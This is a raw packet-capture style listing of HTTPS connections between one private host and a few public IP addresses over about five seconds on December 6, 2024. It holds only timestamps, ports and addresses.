Dec 6, 2024 00:16:31.011732101 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.011847973 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.012141943 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.013103008 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.014144897 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.014154911 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.014419079 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.014477015 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.014805079 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.055334091 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.059323072 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.059323072 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.059341908 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.070583105 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.070635080 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.070694923 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.070902109 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.070921898 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.070934057 CET	50047	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.070940018 CET	443	50047	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.073383093 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.073400974 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.073477030 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.073766947 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.073776960 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.080216885 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.080296993 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.080354929 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.080471992 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.080477953 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.080507040 CET	50044	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.080509901 CET	443	50044	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.082462072 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.082485914 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.082776070 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.082895041 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.082907915 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.219508886 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.219571114 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.219717979 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.219741106 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.219748020 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.219757080 CET	50045	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.219759941 CET	443	50045	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.222193003 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.222218990 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.222280025 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.222413063 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.222423077 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.228483915 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.228532076 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.228662968 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.228677034 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.228681087 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.228689909 CET	50046	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.228693008 CET	443	50046	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.230488062 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.230525970 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.230590105 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.230696917 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.230711937 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.832705975 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.833184004 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.833194971 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.833647013 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:31.833651066 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:31.916273117 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.916372061 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.916390896 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.916435957 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.916560888 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.916593075 CET	443	50050	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.916635990 CET	50050	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.917077065 CET	50058	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.917093992 CET	443	50058	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.917169094 CET	50058	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.917366982 CET	50058	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.917377949 CET	443	50058	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.927498102 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.927544117 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.927557945 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.927592039 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.927620888 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.927654028 CET	443	50049	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.927696943 CET	50049	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.927979946 CET	50059	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.928016901 CET	443	50059	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.928070068 CET	50059	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.928231001 CET	50059	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:31.928242922 CET	443	50059	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:31.966001987 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.966051102 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.966052055 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.966063023 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.966099024 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.966120958 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.966161966 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.966165066 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.966204882 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.966927052 CET	50048	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.966938972 CET	443	50048	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.967355013 CET	50060	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.967364073 CET	443	50060	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:31.967417002 CET	50060	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.967586994 CET	50060	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:31.967596054 CET	443	50060	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220539093 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220580101 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220621109 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.220621109 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.220643044 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220679045 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.220685005 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220694065 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.220715046 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.220736027 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.221329927 CET	50051	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.221343040 CET	443	50051	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.222138882 CET	50063	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.222167015 CET	443	50063	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.222218990 CET	50063	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.222436905 CET	50063	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.222455978 CET	443	50063	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:32.263987064 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.264048100 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.264094114 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.264283895 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.264291048 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.264300108 CET	50052	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.264302969 CET	443	50052	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.266555071 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.266580105 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.266654968 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.266784906 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.266798019 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.772478104 CET	50058	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.772504091 CET	50059	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.772522926 CET	50060	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.772545099 CET	50063	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:32.777483940 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.777498007 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:32.777575970 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.778098106 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.778106928 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:32.778429031 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.778458118 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:32.778521061 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.779037952 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:32.779051065 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:32.826361895 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.826910019 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.826916933 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.827301025 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.827402115 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.827405930 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.827828884 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.827838898 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:32.828211069 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:32.828214884 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.017493010 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.018409967 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.018430948 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.019085884 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.019090891 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.025012016 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.025326014 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.025341988 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.025698900 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.025703907 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.259397984 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.259416103 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.259505033 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.259512901 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.259521961 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.259618998 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260108948 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260114908 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.260129929 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.260144949 CET	50054	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260149002 CET	443	50054	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.260205030 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.260250092 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260351896 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260366917 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.260375977 CET	50055	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.260380983 CET	443	50055	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.263282061 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263309002 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.263354063 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263376951 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263389111 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.263442993 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263510942 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263520002 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.263606071 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.263621092 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.460042000 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.460058928 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.460123062 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.460145950 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.462243080 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.462774992 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.465310097 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.465363026 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.466027975 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.466413975 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.466433048 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.466459990 CET	50057	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.466464996 CET	443	50057	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.467884064 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.467894077 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.467901945 CET	50056	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.467905998 CET	443	50056	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.470794916 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.470819950 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.470834017 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.470870018 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.470904112 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.470940113 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.471266031 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.471266985 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.471272945 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.471282005 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.993480921 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.994381905 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.994405031 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:33.995013952 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:33.995019913 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.431910992 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.431929111 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.432009935 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.432028055 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.432071924 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.432353973 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.432358027 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.432377100 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.432483912 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.432509899 CET	443	50064	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.432552099 CET	50064	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.434828043 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.434854984 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.434936047 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.435054064 CET	50072	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.435064077 CET	443	50072	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.481800079 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.481893063 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.482438087 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.482510090 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.483400106 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.483488083 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.484044075 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.484108925 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.489101887 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.489129066 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.489326954 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.489392996 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.495042086 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.496304989 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.496315956 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.496499062 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.496546030 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.496898890 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:34.539333105 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.543332100 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:34.997437000 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.997982979 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.998004913 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:34.998914003 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:34.998919010 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.029522896 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.037600994 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.037616968 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.037970066 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.037976027 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.186840057 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.200674057 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.200686932 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.201222897 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.201231956 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.204329014 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.208268881 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.208288908 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.213447094 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.213452101 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.394193888 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.394251108 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.394263983 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.394308090 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.397208929 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.397243023 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.397254944 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.397285938 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.398612976 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.398663044 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.398686886 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.398722887 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.404014111 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.404048920 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:35.404105902 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:35.435791969 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.435808897 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.435875893 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.435887098 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.435920954 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.465070009 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.468051910 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.470793009 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.621922016 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.625093937 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.625185013 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.641993999 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.645807981 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.646795988 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.656656981 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.656673908 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.656682968 CET	50067	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.656688929 CET	443	50067	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.669981956 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.670002937 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.670021057 CET	50068	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.670027018 CET	443	50068	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.672837973 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.672853947 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.672864914 CET	50069	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.672873020 CET	443	50069	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.675617933 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.675617933 CET	50070	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.675625086 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.675632000 CET	443	50070	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.746566057 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.746596098 CET	443	50073	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.746690989 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.747973919 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.748003006 CET	443	50074	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.748083115 CET	50074	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.748672009 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.748678923 CET	443	50075	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:35.748743057 CET	50075	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.749135017 CET	50073	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:35.749145031 CET	443	50073	13.107.246.63	192.168.2.4
